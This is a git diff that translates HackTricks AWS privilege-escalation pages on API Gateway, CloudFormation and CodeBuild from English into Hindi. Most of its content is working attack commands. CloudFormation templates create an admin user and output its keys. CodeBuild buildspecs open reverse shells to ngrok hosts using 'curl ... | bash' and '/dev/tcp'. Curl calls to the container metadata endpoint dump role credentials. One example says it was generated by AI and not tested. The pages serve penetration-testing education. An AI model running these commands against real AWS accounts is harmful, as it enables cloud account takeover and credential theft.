API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**संभावित प्रभाव**: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुंच। ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> परीक्षण की आवश्यकता है +एक हमलावर जिसके पास अनुमति `apigateway:UpdateVpcLink` है, **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**। ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**संभावित प्रभाव**: निजी API संसाधनों तक अनधिकृत पहुंच, API ट्रैफ़िक का अवरोध या बाधा। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..3dd2b6db7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +cloudformation के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +इन अनुमतियों के साथ एक हमलावर **privileges को बढ़ा सकता है** एक **CloudFormation stack** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +इस पृष्ठ पर आपके पास एक **शोषण उदाहरण** है जिसमें अतिरिक्त अनुमति **`cloudformation:DescribeStacks`** है: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**संभावित प्रभाव:** निर्दिष्ट क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क। ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +इस मामले में आप एक **मौजूदा क्लाउडफॉर्मेशन स्टैक** का दुरुपयोग कर सकते हैं ताकि इसे अपडेट किया जा सके और पिछले परिदृश्य की तरह विशेषाधिकार बढ़ाए जा सकें: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए। -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क। ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)। -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए। -**Potential Impact:** Privesc to the cloudformation service role already attached. +**संभावित प्रभाव:** पहले से संलग्न क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क। ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +एक हमलावर जिसके पास **भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है** वह **एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है** जैसे कि CreateStack या UpdateStack के साथ। +निम्नलिखित शोषण **[CreateStack एक](./#iam-passrole-cloudformation-createstack)** का एक **भिन्नता है** जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है। ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `ChangeSet` अनुमतियाँ देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**संभावित प्रभाव:** cloudformation सेवा भूमिकाओं के लिए प्रिवेस्क। ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए का दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**संभावित प्रभाव:** पहले से जुड़े क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क। ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स बनाने/अपडेट करने के लिए मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है। -**Potential Impact:** Privesc to cloudformation service roles. +**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क। ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। -**Potential Impact:** Privesc to the attached cloudformation roles. +**संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क। -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..a803f2a31 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +एक हमलावर उदाहरण के लिए एक **cloudformation template** का उपयोग कर सकता है जो **keys for an admin** उपयोगकर्ता उत्पन्न करता है जैसे: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +फिर **क्लाउडफॉर्मेशन स्टैक उत्पन्न करें**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**कुछ मिनटों का इंतज़ार करें** ताकि स्टैक उत्पन्न हो सके और फिर **आउटपुट प्राप्त करें** उस स्टैक का जहाँ **क्रेडेंशियल्स संग्रहीत हैं**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - ### References - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..c8c12beee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +अधिक जानकारी प्राप्त करें: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +इनमें से केवल एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**नोट**: इन दो कमांड के बीच का अंतर यह है: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है। +- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)। -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकेगा** एक चल रही भूमिका बनाकर। {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} {{#tab name="Example2" }} - ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क। > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> एक **Codebuild कंटेनर** में फ़ाइल `/codebuild/output/tmp/env.sh` सभी env vars को शामिल करती है जो **metadata credentials** तक पहुँचने के लिए आवश्यक हैं। -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो **URL पथ** को शामिल करता है जिससे क्रेडेंशियल्स तक पहुँच प्राप्त होती है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका क्रेडेंशियल्स को डंप करने में सक्षम होंगे। -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है। ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +जैसे पिछले अनुभाग में, यदि आप एक निर्माण परियोजना बनाने के बजाय इसे संशोधित कर सकते हैं, तो आप IAM भूमिका को निर्दिष्ट कर सकते हैं और टोकन चुरा सकते हैं। ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क। ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुँच सकते हैं जो पहले से ही असाइन की गई है**। {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क। ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +**SSM सत्र शुरू करने के लिए पर्याप्त अनुमतियाँ होने पर** यह संभव है कि **एक Codebuild प्रोजेक्ट** में प्रवेश किया जा सके जो बनाया जा रहा है। -The codebuild project will need to have a breakpoint: +Codebuild प्रोजेक्ट में एक ब्रेकपॉइंट होना चाहिए:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +और फिर: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +एक हमलावर जो एक विशिष्ट CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। +Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो। ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका के लिए सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिवेलेज रखती है। > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा। -More details could be found 